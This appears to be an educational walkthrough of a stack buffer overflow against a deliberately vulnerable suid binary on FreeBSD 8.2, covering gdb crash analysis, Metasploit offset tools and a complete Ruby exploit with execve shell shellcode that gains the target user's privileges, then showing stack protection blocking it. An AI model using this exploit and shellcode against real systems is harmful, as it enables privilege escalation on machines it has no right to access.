Here’s a simple program to illustrate a stack smash.
$ date
Wed Sep 14 11:36:21 EDT 2011
$ uname -a
FreeBSD fbsd.local 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46
UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
For the purposes of this post our user is named ‘user’. We note that the binary we are targeting is suid for the flag user. (This would be suid root in the interesting case.)
> id
uid=1001(user) gid=1001(users) groups=1001(users)
> ls -lah main
-rwsr-xr-x 1 flag flag 6.4K Sep 7 13:54 main
So lets do some simple recon to see if there are functions that we might want to take advantage of:
$ readelf -r main
Relocation section '.rel.plt' at offset 0x298 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
080496a4 00000107 R_386_JUMP_SLOT 00000000 _init_tls
080496a8 00000407 R_386_JUMP_SLOT 00000000 exit
080496ac 00000607 R_386_JUMP_SLOT 00000000 atexit
080496b0 00000707 R_386_JUMP_SLOT 00000000 strcpy
So lets see if the strcpy is vulnerable. Lets see if we can make this program crash on our input. We can assume that the input being taken is probably everything except for a (NULL byte).
We suspect that there is a buffer overrun on standard input because of:
$ ./main `ruby19 -e 'puts "A"*80'`
Segmentation fault: 11 (core dumped)
$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x41414141 in ?? ()
So we create a dipstick to see how to construct the payload.
user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_create.rb 64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Using GDB we find out at which point on the dipstick we need to notch our return address:
$ gdb main
GNU gdb 6.1.1 [FreeBSD]
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()
gdb>print $eip
$1 = (void *) 0x37614136
gdb>x /i $eip
0x37614136: Error accessing memory address 0x37614136: Bad address.
So we have overwritten the instruction pointer with data from our buffer. The program dies on jumping to the next instruction because $eip is not pointing to a valid memory address. 0x37614136 corresponds to 6Aa7 on our dipstick. We can get the offset by using:
user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_offset.rb 37614136
20
Which shows we need the initial buffer to be 20 chars long. Now we need to replace 0x37614136 with an advantageous address. We can do this by looking where the program puts our input in memory.
$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()
gdb>x /4s $esp
0xbfbfeb60: "Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"
0xbfbfeb89: "?▒?▒?"
0xbfbfeb95: ""
0xbfbfeb96: ""
So we see that the address we can use 0xbfbfeb60. Now we can put it all together:
#!/usr/local/bin/ruby19
# shellcode courtesy of lixor...
injection = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
54\x53\xb0\x3b\x50\xcd\x80"
offset = 20
buf = 'A'*(offset+4)
eip = [0xbfbfeb60].pack('V')
buf[20, 4] = eip
nopsled = "\x90" * 100
payload = buf + nopsled + injection
puts payload
And we run it like so:
$ /home/flag/src/foo/main `./sploit.rb`
$ id
uid=1001(user) gid=1001(users) euid=1002(flag) groups=1001(users)
$ cd /home/flag/
$ touch foo
$ exit
$ id
uid=1001(user) gid=1001(users) groups=1001(users)
$ ls /home/flag
foo src
Note: This is possible because there currently is a defaultly executable stack and this program was compiled without explicit stack smashing protection on FreeBSD.
Stack Smashing Protection is not on by default, but can be turned on with:
$ gcc -g -Wall -O2 -fstack-protector-all -o main main.c
And from there we can see kill() being called when we attempt a stack smash.
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Program received signal SIGABRT, Aborted.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x28179b97 in kill () from /lib/libc.so.7
gdb>x /i 0x28179b97
0x28179b97 <kill+7>: jb 0x28179b7c <sigprocmask+12>
Thus, it is important to make sure everything on FreeBSD is compiled with stack smashing protection on.